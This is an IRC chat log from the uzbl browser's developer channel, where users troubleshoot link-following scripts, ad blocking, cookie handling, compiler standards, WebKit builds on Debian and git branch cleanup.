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17:39 < ph030> i guess that'll work, but i'd still be interested in a lighter alternative, if someone knows any
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17:46 < Dieterbe> ph030: sounds like a cool idea. not something i would use, but i can imagine some people like that kind of stuff
17:48 < ph030> Dieterbe, thanks. the idea mainly comes from the fact, that i usually have a whole lot of bookmarks and it's hard to sort/find them only by categories/tags, so it'll be more a less a combination of both
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17:50 < Dieterbe> ph030: maybe you can make it somewhat generic so you can use it to select misc urls. whether they are bookmarks/history/current open pages/.. shouldn't matter, as long as they have an associated thumbnail stored in XDG_DATA_HOME/uzbl/url-thumbnails or so
17:51 < uranther> Dieterbe, finally got it.. :P
17:53 < ph030> Dieterbe, mh. combining bookmarks and history should be doable and usefull imho. a visual presentation for open pages seems nice, too, but personally i'd rather have that seperated. only problem i see here, is that this may get rather slow, when using simple scripts, maybe a little c-app+sqlite is better here...gotto make a prototype and some benchmarks - after i finished the first script^^
17:54 < uranther> ph030, sounds like what Opera and (i think) Firefox has
17:55 < uranther> except Opera has a full text search too
17:55 < Dieterbe> ph030: premature optimalisation is very dangerous
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17:56 < Dieterbe> ph030: what i meant was not one interface for bookmarks/history/open pages all at once. just make the "backend stuff" generic enough so you can use it for whatever type of urls you want
17:57 < gentooer> hi, i really like uzbl so far, but is there a better way to "click" on links with the keyboard? tabbing through every link is very slow.
17:59 < Deepspawn> Try bind    f* = script /usr/share/uzbl/examples/scripts/follow_Numbers.js %s, I think it's setup on the sample config
17:59 < Dieterbe> yeah we have a few sample scripts to do link following
18:00 < gentooer> ah thanks, i'll take a look
18:01  * Dieterbe off to home
18:02 < ph030> Dieterbe, ok, i'll see if/how i can do that. haven't had a look into all the history-handling, yet
18:02 < sscj> gentooer: linkfollow.js is almost like vimperator
18:02 < ph030> uranther, no wonder, i'm coming from opera :)
18:03 < uranther> same :)
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18:05 < uranther> altho i am a traitor.. linux isn't even my main OS atm
18:06 < sscj> how is that traitorous?
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18:06 < uranther> means i don't use uzbl often
18:07 < Deepspawn> uranther, There's still a lot of stuff that uzbl can't handle yet, I think one needs at least another browser for all that stuff
18:07 < ph030> well, imho it's not uzbl (punpun) enough to use it as your mainbrowser, yet. at least for me, i miss/need to write tons of stuff
18:07 < uranther> word
18:08 < uranther> i've got ye olde Xubuntu running in VMware
18:08 < rxxuf> my main problem with uzbl so far is that it's not stable enough. But that's webkit's problem.
18:09 < ph030> btw, someone has good tips concerning adblocking? currently i'm using privoxy alone, but that leaves a lot of stuff, espacially layers
18:09  * uranther wants to contribute to webkit too
18:10 < bct> layers?
18:10 < rson> ph030: null routing in your host file?
18:11 < rson> wooops, i thought this was #archlinux, too many familiar names. the suggestion would work though it's very likely not what you want since it requires root privs.
18:12 < ph030> well, routing to localhost is imho not the best way. first it slows down all network-apps and even more annoying, you gotta write full domains, so overblocking is possible or not enough. not talking about needing root-privileges...
18:15 < ph030> bct, yeah, layers. this things floating in, js-shit as always, but since there's currently no way (i know of) to handle js, i need it for some sites :/
18:16 < ph030> privoxy mostly blocks the layers contents, but not the layer itself, so there's often a black "window" sitting around, annoying
18:16 < Deepspawn> ph030 IIRC privoxy can mangle the stuff it passes through, can't you setup the rules for blocking those?
18:16 < bct> i'm surprised privoxy can't be configured to block the js entirelry
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18:17 < gentooer> yeah that's the one thing i miss from firefox. adblock pro is really good
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18:18 < gentooer> according to the dev of adblock pro, a lot of the features can't be used in privoxy since it's not integrated in the browser
18:19 < ph030> i could block js, but only based on the files name or domain it comes from - obviously way from perfect
18:19 < ph030> there's already an adblock for webkit(or at least safari, not talking bout pithelmet), but i don't know how/if this can be implemented in uzbl
18:23 < uranther> http://pastie.org/352690.txt this is the patch but i don't you can apply that to webkit-gtk
18:23 < uranther> dunno
18:28 < ph030> definetly something to look into, adblocking is a killerfeature for me nowadays
18:28 < ph030> <- cooking :)
18:29 < sscj> what kind of adblock pro features wouldn't work in a filtering proxy?
18:33 < DuClare> Uzbl can disable scripts though.
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18:53 < bct> i thought all adblock does is block based on the URL
18:54 < gentooer> from what i've read it's pretty complex. it actually looks at the layout of the page once it has been rendered to the screen
18:54 < Deepspawn> adblock removes html elements
18:55 < bct> that sounds pretty crazy.
18:55 < Deepspawn> You can get a good idea of what adblock does by looking the rule files
19:02 < bct> do we have user stylesheets? could hide elements that way.
19:09 < sscj> set stylesheet_uri = file:///style.css
19:10 < snipermatze> that would overwrite the pages stylesheet
19:11 < sscj> no
19:12 < sscj> linkfollow.js relies on stylesheet_uri for the hints
19:13 < snipermatze> oh i see, so its additional to the stylesheet of the page
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19:16 < sscj> and it doen't seem to work on all pages either, the hinting looks wrong on gitready.com and youtube
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19:39 < Dieterbe> trafficjams--
19:45 < sladegen> ++jamstraffic
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20:49 < hak5fan> is there any scripts out there that givs uzbl the find links feature of conkeror or vimperator?
20:49 < sscj> hak5fan: try linkfollow.js
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20:50 < hak5fan> sscj: ok thanks... uzbl can be a great browser if all the needed scripts are written and supplied in a nice package
20:51 < hak5fan> unfortunately i don't know bash
20:56 < mxey> Why does download.sh use pushd and popd? There is nothing afterwards that would be affected by a changed directory, would it?
20:59 < hak5fan> I use the default uzbl.config from examples. and now I can't enter text into edit fields. the hotkey for entering edit mode is 'i' right?
20:59 < mxey> Yes. quite obvious in the config.
21:00 < mxey> the name for the insert mode command was recently changed, dunno if that is already on master.
21:01 < sscj> afaik, no
21:03 < hak5fan> mxey: I just updated that might be it. I didn't update my config though
21:04 < hak5fan> mxey: Do you know what it changed to?
21:04 < mxey> toggle_insert_mode
21:05 < mxey> The topic says to always compare diffs but of course i do not, too.
21:05 < sscj> hak5fan: what branch are you using? master or experimental?
21:06 < hak5fan> sscj: master
21:07 < sscj> you should be using experimental. the master branch is old
21:08 < mxey> Then why has there been no merge? ;)
21:08 < uranther> just be warned zoom level doesn't work in experimental yet.. or maybe it's just Dieterbe's computer
21:08 < uranther> which reminds me
21:08  * uranther compiles
21:09 < hak5fan> sscj: ok.... I'll update... what's new in experimental?
21:09  * mxey builds new experimental.
21:09 < sscj> uh, alot
21:09 < mxey> I actually read the commit log! :>
21:10 < hak5fan> ok luckily i'm on arch so updating won't be difficult
21:10 < mxey> How is that attributed to Arch?
21:10 < hak5fan> There is a pkgbuild
21:10 < mxey> Typing 'make' into a shell works reasonably well on my Debian and Gentoo.
21:11 < sscj> uranther: what about the zoom doesn't work?
21:12 < uranther> well now i'm getting the same compiler warning he was getting
21:12 < uranther> strtof() "implicit declaration" even though we have #include <stdlib.h>
21:12 < mxey> 'pushd and popd might be better than plain cd'? wtf
21:13  * mxey prepares a patch
21:16 < mxey> Git is good in merging in branches even if the base code has changed in the meanwhile. This does not work with patches. <- I am actually guessing that it does, because mailing patches around is the primary way of code exchange for Linux.
21:21 < uranther> hm, apparently GCC throws that warning because strtof is non-standard
21:22 < uranther> k fixed it.. compiling with -std=gnu99 works
21:23 < mxey> Shouldn't uzbl rather be standard C?
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21:24 < uranther> this is something i brought up in #c
21:24 < uranther> whether to use gnu99
21:25 < uranther> apparently it's pretty portable and includes features that even icc includes too
21:26 < mxey> Not a very fuzzy feeling though
21:26 < mxey> and strof ist not GNU, but C99, according to its manpage
21:26 < mxey> *strtof
21:26 < uranther> yeah, c99
21:26 < uranther> compiling with c89 gives tons of errors
21:27 < uranther> same with c99
21:27 < mxey> A little too many GNU extensions?
21:27 < uranther> so, we're already not standard :P
21:27 < mxey> That does not mean it's riht.
21:27 < mxey> *right
21:28 < mxey> I also think the use of bash in the example scripts should be reduced, to accomodate systems without bash like *BSD.
21:28 < uranther> i agree
21:28 < uranther> i think we should be using c99
21:28 < mxey> Also, more and more GNU/Linux distributions install a dash as sh which has then faster startup times.
21:28 < mxey> Debian and Ubuntu, at least.
21:29 < uranther> you can think of this as a quick fix
21:29 < mxey> hrhr :>
21:29 < Dieterbe> patches welcome
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21:29 < uranther> Dieterbe, i pushed my changes, zoom works now
21:29 < mxey> Dieterbe: I have a patch for something else for you.
21:29 < Dieterbe> uranther: how did you fix it?
21:30 < uranther> Dieterbe, compile with -std=gnu99
21:30 < sscj> what was wrong with it?
21:30 < uranther> strtof is a c99 function
21:30 < uranther> but we're not quite compliant with c99
21:30 < uranther> i'd like to go through and fix the 8 errors and warnings that shows with c99 but i'm not sure how to fix them :P
21:32 < mxey> I might, but not today.
21:32 < Dieterbe> is -std=gnu99 a good thing? i'm not really into these standards things. is this a better solution then just finding an alternative for strof?
21:32 < uranther> implicit declarations of signal functions
21:32 < mxey> C99 should be fine, GNU99 is not a 'standard'
21:32 < uranther> this isn't very reputable, but a guy in #c told me he always uses gnu99
21:33 < uranther> lol..
21:33 < M2tias> can you guys open this with uzbl properly? http://irc.fi/tanen
21:33 < sscj> M2tias: nope
21:33 < dunz0r> looks like ass
21:34 < dunz0r> or random text
21:34 < M2tias> wonder what's wrong with it
21:34 < mxey> Dieterbe: http://git.ghosthacking.net/code/uzbl/commit/?id=70884ef1565139252a2570f1768fd3b5f93ea31a
21:34 < dunz0r> I think it it's an image
21:34 < sscj> the webserver doesn't give the correct mime type, probably
21:34 < M2tias> it's not an image
21:34 < dunz0r> the webserver is misconfigured
21:34 < M2tias> lol
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21:35 < dunz0r> hmm. I wgetted it and it worked
21:35 < dunz0r> odd
21:36 < dunz0r> btw. how does the link follow thin work? I'm trying to use it as if it was vimperator... but it's not working very well
21:36 < dunz0r> *thing
21:36 < sscj> which one?
21:37 < uranther> Dieterbe, c99 is also not fully implemented in GCC
21:37 < dunz0r> sscj; when you hit F
21:37 < dunz0r> and numbers show up
21:37 < sscj> there are 4 different hinting scripts
21:38 < dunz0r> meh.
21:38 < sscj> hints.js, follow_numbers.js, follow_numbers_and_strings.js and linkfollow.js
21:38 < dunz0r> hints.js it seems
21:38 < sscj> use linkfollow, it is the most vimperator-ish
21:39 < dunz0r> tried follow_numbers_and_strings.js now
21:39 < dunz0r> kind of nice
21:40 < sscj> has anyone seen jouz around?
21:42 < Dieterbe> yeah, he pops up every once in a while
21:43 < sscj> haven't seen him in a week or so
21:43 < uranther> Dieterbe, it looks like, without a -std= option, GCC defaults to -std=gnu89
21:43 < uranther> which is what we had before
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21:53 < dunz0r> sscj; thanks for the tip about linkfollow btw.
21:54 < dunz0r> this is really nice :)
21:54 < sscj> i wrote it :>
21:54 < dunz0r> ok. in that case. there is a "bug"
21:54 < dunz0r> kind of
21:54 < dunz0r> if I follow a link that opens in another frame. instead it opens in the whole page
21:54 < dunz0r> sort of
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21:55 < dunz0r> I had that problem with the vimperopera scripts as well
21:56 < sscj> example url?
21:56 < dunz0r> ehm. not sure if I can find one. this happens on for example a community site I visit quite alot
21:56 < dunz0r> need to find another site where this happens first
21:57 < sscj> lemme know when you do and I'll look into it
21:57 < sscj> the fix should be fairly trivial, I imagine. just need to try it out
21:57 < dunz0r> I think so too
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22:03 < M2tias> I get a seg fault with this on Dieterbe's master http://media.photobucket.com/image/shit/sonny88_2006/shit.jpg
22:07 < Dieterbe> ugh
22:07 < M2tias> oh, sorry
22:08  * Dieterbe slaps M2tias with a donkeycock
22:08 < M2tias> I didn't realize that it might not be a good picture :|
22:08 < M2tias> it was pasted and I didn't thought of it...
22:12 < uranther> sscj, on Dieterbe/experimental fl nor fL highlight "Login" on Digg
22:12 < uranther> F does tho, but i haven't figured out how to use F
22:12 < sscj> F doesn't work currently
22:13 < sscj> or wait. what?
22:14 < sscj> what doesn't work? I don't know what you got bound to F
22:15 < dunz0r> bind    F = script /usr/share/uzbl/examples/scripts/hint.js
22:15 < dunz0r> that's the defailt
22:15 < dunz0r> *default
22:16 < dunz0r> hmm. hint.js doesn't seem to do anything except just highlighting the links.
22:16 < dunz0r> you can't follow links with it :)
22:20 < uranther> i'm more curious as to why fl and fL don't highlight Login
22:21 < sscj> dunno. linkfollow does
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22:37 < uranther> err, why isn't uzbl.gui.main_window a GtkWindow?
22:43 < uranther> nvm i got it
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02:25 < urnthr> well, i fixed all the runtime warnings and errors that uzbl was giving
02:25  * locks gives urnthr a cookie
02:25 < locks> what time is it there?
02:25 < urnthr> 8:30pm
02:25 < locks> ah, still sane hour
02:25 < urnthr> yep :)
02:25 < urnthr> now i'm bored again
02:26 < urnthr> i was disappointed to find that one error was a typo, the other was a lack of looking up WebKit docs
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06:03 < newssgg> I love this browser!
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07:31 < DuClare> Let's hope nobody asks me to fix a computer today.  Maybe I'll finally have time to fix some problems in uzbl
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09:08 < Dieterbe> morning ladies
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09:10 < Frots> morning
09:13 < DuClare> o/
09:24 < Negher> Morning everybody.
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11:00 < xenol> gm
11:01 < Frots> hey xenol
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11:03 < xenol> nice to see some arch guys here Frots =)
11:03 < Frots> who says im arch :p
11:04 < Frots> just joking ofcourse
11:06 < Dieterbe> uzbl was born in the arch forums, so it's only normal to have many arch guys here :P
11:06 < Frots> i didnt want to say it :P
11:08 < mxey> Dieterbe: Did you have a look at my patch?
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11:14 < Dieterbe> http://git.ghosthacking.net/code/uzbl/commit/?id=70884ef1565139252a2570f1768fd3b5f93ea31a ? yeah
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11:15 < mxey> Dieterbe: Any comments/are you going to merge it?
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11:17 < Dieterbe> yeah, i guess
11:17 < mxey> :)
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11:36 < Frots> hey guys im trying the formfiller.pl
11:36 < Frots> how do i have to understand this process
11:36 < Frots> if i create a new form file it read what i put in the formfields or what?
11:37 < Dieterbe> yea
11:37 < Frots> it doesnt seem to work with gmail
11:38 < Frots> or do i have to add fields manually
11:38 < Frots> im trying it on different websites but no luck
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12:43 < sscj> Frots: no. it redownloads the page and picks out the input fields
12:44 < sscj> if the page adds the forms dynamically, it won't work
12:44 < Frots> ok
12:44 < Frots> i tried it on a few pages but no luck
12:44 < Frots> on google it fins only one hidden field
12:44 < Frots> and i tried a different side
12:44 < Frots> it only finds the submit
12:44 < Frots> but nice work allready
12:45 < Frots> i didnt expect this kind of functionality so soon
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12:48 < DuClare> It'll be there as soon as webkit gives us access to the DOM
12:49 < Frots> hah
12:49 < Frots> and thats never?
12:56 < sscj> if you add the form information to the file manually, it still should work though
12:56 < Frots> ok great
12:56 < Frots> i like manual
12:59 < DuClare> Frots, I believe they're working on it as we idle
12:59 < Frots> heh
12:59 < Frots> ok i'll keep my mouth shut
12:59 < DuClare> ... but who knows.  Checking the devml and commit logs would tell the truth. :)
13:01 < holizz> Are cookies meant to work at all? Because I've been fiddling for the past few days, and still no luck.
13:01 < Frots> cookie saving or loading?
13:01 < Frots> because accidently i ran into an older cookies.txt file full of cookies
13:02 < Frots> i deleted it
13:02 < DuClare> holizz, Depends on what version you're running.  Dieterbe says he got some cookies working
13:03 < holizz> Well, saving seems to work, as the cookies are there in XDG_DATA_HOME. But loading doesn't seem to.
13:03 < Frots> i didnt notice them working
13:06 < holizz> cookies.sh in Dieterbe's tree seems wrong. In some places $cookies_file is treated as a file, and in some it's treated as a directory.
13:06 < holizz> echo -e "$data" >> $cookie_file ... cookie=`cat $cookie_file/$host.cookie`
13:13 < Dieterbe> holizz: oops :) patch welcome
13:13 < Dieterbe> holizz: in fact i was confused myself about the variable names
13:15 < DuClare> Gg
13:15 < Dieterbe>  DuClare> holizz, Depends on what version you're running.  Dieterbe says he got some cookies working <-- i think that's a misunderstanding. cookies still don't really work
13:15 < DuClare> Oh?
13:16 < DuClare> I had the impression they worked for some sites at some point :|
13:16 < DuClare> Hrm..
13:16 < Dieterbe> that's weird :P
13:17 < DuClare> 01:21 < Dieterbe> in fact, i have (basic) cookies working :)
13:17 < DuClare> 01:27 < Dieterbe> hmm doesn't work to well yet though
13:17 < DuClare> 01:28 < Dieterbe> the idea was to just always store & always send for now (if host/path matches)
13:17 < DuClare> 01:28 < Dieterbe> doesn't work for bbs.archlinux.org though
13:18 < Dieterbe> "doesn't work to well yet though" -> cookies are not loaded
13:18 < Dieterbe> they are saved, but not loaded
13:18 < Dieterbe> in fact i think i got pretty close, it should be a minor bug
13:19 < DuClare> Sure
13:19 < DuClare> :)
13:22 < sscj> how are variable expansions supposed to work?
13:23 < sscj> I tried "bind :test = sh 'echo $*' @uri"
13:23 < sscj> but @uri doesn't get expanded
13:28 < DuClare> Expansion is used for SET only
13:29 < DuClare> set and print, actually
13:30 < holizz> There you go, Dieterbe. A pull request.
13:33 < Dieterbe> yeay
13:34 < sscj> any plans on making expansions "globally" available?
13:35 < DuClare> sscj, I'd do that, yes
13:36 < DuClare> Currently, if I add the expansion to binds, you'll have to add another layer of escapes
13:36 < Dieterbe> holizz: hm that does not look good.
13:36 < Dieterbe> holizz: why would you do cookie_file=<some directory> ?
13:36 < Dieterbe> that's even more confusing then it was
13:37 < Dieterbe> use $cookie_dir and $cookie_file or something
13:38 < sscj> hmm, I need to implement viperators [[ and ]]. just realized how much I miss them
13:38 < Dieterbe> sscj: what do they do?
13:38 < DuClare> prev/next page?
13:38 < sscj> yeah
13:39 < MarSoft_> sscj: don't work for me (in vimperator)... o_O
13:39 < Dieterbe> and how does that work? it searches for "next" links? it increments 1.html to 2.html?
13:39 < DuClare> Dieterbe, Looks for next links
13:39 < DuClare> Ones that contain ">>" or such
13:40 < sscj> with some fallbacks too incase it doesn't find any
13:40 < sscj> I believe
13:40 < MarSoft_> sscj: ah, i've understood.
13:41 < Dieterbe> well that's cool. and yeah. we should have such scripts too :P
13:42 < holizz> :%s/cookie_file/cookie_dir/g;ZZ;git push origin experimental
13:42 < Dieterbe> holizz: do you understand what the '[ -d $XDG_DATA_HOME/uzbl/          ] &&' things are for?
13:43 < holizz> For putting data in?
13:43 < holizz> Where would be better? ~/.cache?
13:44 < mxey> Ain't there XDG_CACHE_HOME?
13:44 < Dieterbe> cookies are not cache. they are data
13:44 < mxey> hm, no.
13:44 < mxey> That depends on what you put into them, actually.
13:45 < Dieterbe> yeah indeed. just realised that too
13:45 < holizz> Dieterbe: Oh, misread that. I thought you mean do I know what the directory was for.
13:46 < Dieterbe> holizz: i asked because you seem to have replaced some things without really knowing what they are for. in the original logic, we check if the directory exists, if so, we know we can put a file in there
13:46 < Dieterbe> holizz: what you do now is assigning a (potentially non existing) directory to a variable just because its parent exists
13:46 < holizz> Aha, oops.
13:47 < Dieterbe> mxey: so cookies could be data/cache and even config stuff, depending on the site that uses them. either way, the user is free to change the location as he pleases. but i think data is a good default
13:48 < mxey> Dieterbe: Of course.
13:49 < holizz> What about "[ -d /usr/share/uzbl/examples/data/cookies.d  ]"? Do we expect people to be running uzbl as root often?
13:50 < Frots> no
13:50 < Frots> its not for saving but for reading
13:50 < Frots> all the shared files
13:50 < Dieterbe> it shouldn't matter as which user they run uzbl (that said, running it as root isn't very smart)
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13:51 < Dieterbe> why do you bring this up? what does the cookie stuff have to do with running as root or not?
13:51 < Frots> everyone should be able to read /usr/share/uzbl
13:51 < Dieterbe> yep
13:52 < holizz> Why would somebody want to stick some cookies into /usr/share, especially as they tend to have expiry dates? It just seems a bit silly.
13:52 < Dieterbe> we use some locations like /usr/share/uzbl/examples/* as defaults sometimes (if there are no better alternatives like $HOME/../uzbl/.. or ./examples while developing)
13:53 < Dieterbe> users can get "permission denied" errors when the scripts to write, this should be a good signal to users they probably want to set up their directories correctly
13:53 < Dieterbe> scripts try to*
13:53 < holizz> Aha.
14:01 < Dieterbe> holizz: if there's anything else unclear, just shoot
14:02 < holizz> Dieterbe: Cool, thanks. I think I might start reading through uzbl.c when I get home. See what I can learn. But for now, I have to go to work.
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22:34 < Dieterbe> good night dudes
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01:20 < urnthr> where is everybody? :/
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01:54 < djahandarie> Hey guys, trying to compile a copy I just got from the git master branch
01:54 < djahandarie> It seems to not be finding libsoup
01:54 < djahandarie> darius@lambda:~/uzbl$ make
01:54 < djahandarie> cc  -D_REENTRANT -I/usr/include/gtk-2.0 -I/usr/lib/gtk-2.0/include -I/usr/include/atk-1.0 -I/usr/include/cairo -I/usr/include/pango-1.0 -I/usr/include/pixman-1 -I/usr/include/freetype2 -I/usr/include/directfb -I/usr/include/libpng12 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/usr/include/webkit-1.0   -ggdb -Wall -W -DARCH="\"x86_64\"" -DG_ERRORCHECK_MUTEXES -DCOMMIT="\"881b7daf9da79abe80046f43008574b87d6e29e5\"" -lwebkit-1.0 -lgtk-x1
01:55 < djahandarie> uzbl.c:55:26: error: libsoup/soup.h: No such file or directory
01:55 < djahandarie> It looks like it's not doing an -I/usr/include/libsoup-2.4
01:55 < djahandarie> Any ideas why/where I should fix this?
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01:59 < djahandarie> Looking at the Makefile, it seems like it's calling pkg-config --cflags gtk+-2.0 webkit-1.0
01:59 < djahandarie> Which doesn't return my libsoup
01:59 < djahandarie> Should it?
02:00 < sscj> the quick fix is to add libsoup-2.4 to that line
02:00 < djahandarie> Okay, I figured. Should pkg-config be returning it though?
02:00 < djahandarie> With gtk and webkit I mean
02:01 < sscj> it's a dep for webkit on arch, at least
02:02 < djahandarie> I'm using debian here
02:02 < djahandarie> Actually I just switched over literally 1 hours ago from Gentoo. :P
02:03 < piroko> djahandarie: So what is the error you're getting? Sorry
02:04 < djahandarie> piroko, it was originally not getting the libsoup dependency for the make
02:04 < djahandarie> I fixed that though
02:04 < djahandarie> Now I'm getting other errors
02:04 < djahandarie> Looks like WebKit errors
02:04 < djahandarie> I would pastebin this, but I don't have a working webbrowser... -_-
02:05 < djahandarie> I'll grab lynx real quick hold on -_-
02:05 < piroko> Me too
02:06 < piroko> http://pastebin.com/m16dfa3f6
02:10 < djahandarie> http://pastebin.com/m43eb7e93 is my problem
02:11 < djahandarie> You seem to be getting different errors than me, although they don't look entirely unrelated
02:12 < piroko> djahandarie: Is this the latest code from git?
02:12 < djahandarie> Yep
02:14 < piroko> Hmm
02:14 < piroko> I'm guessing it has something to do with mismatched versions of webkit. As in, we have installed a different version than uzbl was written for.
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02:15 < sscj> what version?
02:16 < piroko> libwebkit-1.0-1 here
02:18 < sscj> http://www.uzbl.org/get.php says 1.1.4+ is needed
02:18 < djahandarie> Yeah I just realized I have that as well
02:18 < piroko> Oh nice. So we get to compile it? :)
02:18 < djahandarie> I guess it's the fact that we're pulling off of debian/ubuntu which both have 1/01 in their repos
02:19 < piroko> I'm downloading the latest nightly source now
02:20 < djahandarie> Ugh, I hate working off of Nightlys. Oh well. :P
02:24 < urnthr> if you're on debian/ubuntu see this guide: http://blog.duwanis.com/past/2009/5/17/installing_uzbl_on_ubuntubased_distros/
02:24 < urnthr> i'm actually trying to make a .deb package atm
02:24 < urnthr> running into some issues :P since i've never done this before
02:25 < djahandarie> Ah nice, I didn't notice they had a deb repo
02:27 < urnthr> also, you can try git cloning from my repo
02:28 < urnthr> i fixed some bugs and added a nifty window icon :o
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02:29 < piroko> uranther: Have you told Dieter?
02:29 < uranther> eh i haven't seen him lately
02:29 < piroko> To incorporate these changes into master?
02:29 < uranther> he'll be around to do merges
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02:33 < seppo0010> guys, was anyone able to plug in an open source flv player?
02:33 < seppo0010> I tryied gnash, but I wasn't happy with the performance
02:33 < uranther> hm
02:33 < uranther> did you try mplayer?
02:34 < seppo0010> mplayer plays flv? can you use it with youtube?
02:34 < uranther> that will only play flv files though.. not flv's in swf
02:34 < uranther> seppo0010, i know of no other flash alternative than gnash
02:34 < seppo0010> uranther, I don't want a flash alternative, actually...
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02:35 < seppo0010> only flv playing will be enough
02:35 < uranther> seppo0010, if you are able to download the flv file, mplayer will play it with the right codecs
02:35 < sscj> seppo0010: mplayer + youtube-dl works pretty well
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02:36 < uranther> word
02:36 < sscj> mplayer $(youtube-dl -g $url)
02:36 < uranther> ffs i need to restart
02:36 < uranther> stupid vmware
02:36 < uranther> brb
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02:39 < piroko> I got it workin :)
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02:42 < djahandarie> piroko, with the nightly?
02:45 < piroko> djahandarie: Yep
02:46 < uranther> djahandarie, piroko can you test this for me? http://cloud.github.com/downloads/uranther/uzbl/uzbl_20090604-1_i386.deb
02:47 < piroko> So are most people running the vanilla uzbl? I noticed that Barrucadu's config follows a different syntax
02:47 < piroko> uranther: Sure
02:48 < uranther> piroko, i think the config files on the wiki are prolly out of date
02:48 < uranther> there have been some changes in syntax lately
02:49 < piroko> uranther: Ooh. Yours has a much nicer sampleconfig
02:49 < piroko> Why is that not the one on the git repo?
02:49 < uranther> lol uh not sure
02:49 < uranther> did you get from the master tree or experimental?
02:51 < piroko> uranther: master
02:51 < piroko> That would be why :P
02:51 < piroko> Eep. Slashdot does not render correctly at all eh?
02:51 < uranther> piroko, yeah last commit was on 2009-05-26
02:52 < djahandarie> Lord, does webkit have a shitload of dependencies
02:52 < uranther> indeed
02:53 < uranther> piroko, so i'm guessing my debian package works? :)
02:53 < piroko> uranther: Yes it does :)
02:53 < uranther> yay
02:53 < piroko> uranther: Also, the Makefile on master has an install rule but the one for exp does not. Odd
02:54 < uranther> that's strange
02:54 < piroko> And the experimental doesn't seem to have the config files either...
02:54 < piroko> Wait
02:54 < piroko> Date:   Wed Apr 22 21:57:10 2009 +0200
02:54 < uranther> http://github.com/Dieterbe/uzbl/blob/dfd89110a7a965d417ebda0d16dd024bcfbbf2f5/Makefile
02:54 < uranther> lol..
02:55 < piroko> Oops. I have git://github.com/dusanx/uzbl.git as my origin :P
02:55 < uranther> :P
02:56 < djahandarie> uranther, I'm on amd64
02:56 < uranther> djahandarie, oh :/
02:56 < piroko> Man. Everyone does merges. Rebases are cleaner
02:56 < uranther> piroko, i accidentally type the right things in git
02:56 < uranther> so i dunno
03:00 < piroko> Whoa. Hitting "0" really messes things up :D
03:03 < uranther> piroko, yeah, that's one of the issues i fixed
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03:03 < uranther> the .deb file should work with 0
03:04 < djahandarie> God damn webkit and it's dependency on everything and it's mother
03:06 < seppo0010> guys, thanks for your help with the yt integration - I was able to set up in the config a command to play the videos:
03:06 < seppo0010> bind    :yt       = sh "mplayer `youtube-dl -g $6`"
03:07 < seppo0010> is there anyway to auto play it when I'm on youtube.com/watch.. or something
03:08 < seppo0010> some kind of preg matching hook?
03:08 < sscj> you could use (start|finish|commit)_handler
03:09 < seppo0010> sscj is that to me?
03:09 < uranther> grr i hate it when i make commits
03:09 < uranther> then i find out i'm wrong
03:09 < uranther> do that about half the time
03:09 < sscj> seppo0010: yes
03:10 < seppo0010> sscj: awesome, I'll give it a shoot
03:11 < uranther> sscj, is there a way to rescind a commit/push :P
03:12 < sscj> I'm no git wizard
03:12 < uranther> heh
03:12 < djahandarie> piroko, so how did you exactly build webkit?
03:13 < sscj> you can force the push, but it's frowned upon
03:13 < uranther> ):
03:13 < sscj> and generally should be avoided on public repos
03:15 < seppo0010> sscj: I added this: set finish_handler   = sh "echo -n $6"
03:15 < seppo0010> same thing with commit and start
03:15 < seppo0010> and nothing was echoed
03:16 < sscj> yeah, I've noticed that echos on sh doesn't seem to work. use spawn and a script instead
03:19 < uranther> http://trac.webkit.org/wiki/BuildingGtk#Dependencies djahandarie perhaps this will help
03:21 < djahandarie> uranther, yeah, that would have like 30 minutes ago. -_- I got it now though, thanks. :P
03:21 < uranther> lol..
03:21 < uranther> sry
03:21  * uranther stabs git
03:22 < seppo0010> @sscj: I made a dummy sh and it is not being called either... I'm using the current experimental branch, may be it's not working on this verision
03:22 < seppo0010> ?
03:22 < uranther> sscj, Dieterbe is going think i'm retarded.. :P
03:23 < sscj> that's why you should check your stuff before pushing it to a public repo
03:23 < uranther> well i did
03:23 < uranther> and then i learned i didn't need to do the changes i did
03:23 < uranther> because both ways work
03:24 < uranther> :|
03:24 < sscj> seppo0010: I just pulled and built a fresh experimental one and the handlers work for me
03:24 < piroko> uranther: Just do a revert
03:24 < seppo0010> fuck =(
03:24 < uranther> wha
03:24 < uranther> too late
03:24 < piroko> uranther: It'll create a new commit object, but it will undo the changes
03:24 < uranther> i've already mucked up my tree :P
03:24 < piroko> Ah well
03:25 < piroko> Need help? I'm a git wizard >:D
03:25 < uranther> actually i asked #git
03:25 < uranther> they told me to do git commit --amend
03:25 < uranther> so i tried that
03:25 < uranther> and then experimental and origin/experimental were out of sync
03:25 < uranther> i dunno
03:25 < uranther> then imerged them
03:25 < uranther> and commited again
03:25 < uranther> wtf
03:25 < piroko> lol. Merged experimental with what?
03:26 < piroko> djahandarie: I just used the webkit deb repo
03:26 < uranther> i dunno
03:26 < sscj> seppo0010: what does it say? run 'uzbl -v'
03:26 < uranther> piroko, how do i delete these bajillion trees that i inherited from Dieterbe's?
03:26 < piroko> uranther: What branch were you on when you ran git merge experimental?
03:26 < uranther> experimental
03:27 < uranther> trees=branches
03:27 < djahandarie> piroko, wasn't that only for ubuntu?
03:27 < piroko> uranther: git branch -D <branch name>
03:27 < uranther> i think i tried that
03:27 < uranther> it complained
03:27 < piroko> capital D?
03:27 < piroko> -d will not delete if it is not an ancestor of your current HEAD, -D will force
03:28 < uranther> yeah -D, it says the branch not found
03:28 < piroko> uranther: What does git branch say?
03:28 < uranther> * experimental
03:29 < uranther> git branch -a shows all these crazy ones in origin/ though
03:29 < piroko> uranther: Yeah, those aren't your branches
03:29 < uranther> they show up on github tho
03:29 < uranther> ?
03:29 < piroko> uranther: They are branches on the remote repo, not yours
03:30 < uranther> which would be my fork
03:30 < piroko> uranther: Is that a statement or a question?
03:30 < uranther> so by using github's "fork" i kept all those other branches that Dieterbe had right
03:30 < seppo0010>  @sscj: it doesn't say anything about my script... I wrote this on the config, is that ok?: set start_handler   = spawn /home/seppo/test.sh
03:30 < uranther> ?
03:30 < piroko> uranther: I'm not sure what a fork is to github. I'm assuming a fork is actually a branch?
03:31 < sscj> seppo0010: is it executable?
03:31 < piroko> Ok yeah, a fork is a branch.
03:31 < piroko> uranther: Ok, what are you ultimately trying to accomplish?
03:31 < uranther> piroko, just clean up all these branches i don't use
03:32 < piroko> uranther: You don't want dieterbe as a remote?
03:32 < uranther> i have him setup as a remote
03:32 < seppo0010> @sscj, yeah -rwxr-xr-x 1 seppo seppo 40 jun  4 22:20 test.sh
03:32 < uranther> but i only ever grab from experimental
03:32 < uranther> and maybe master
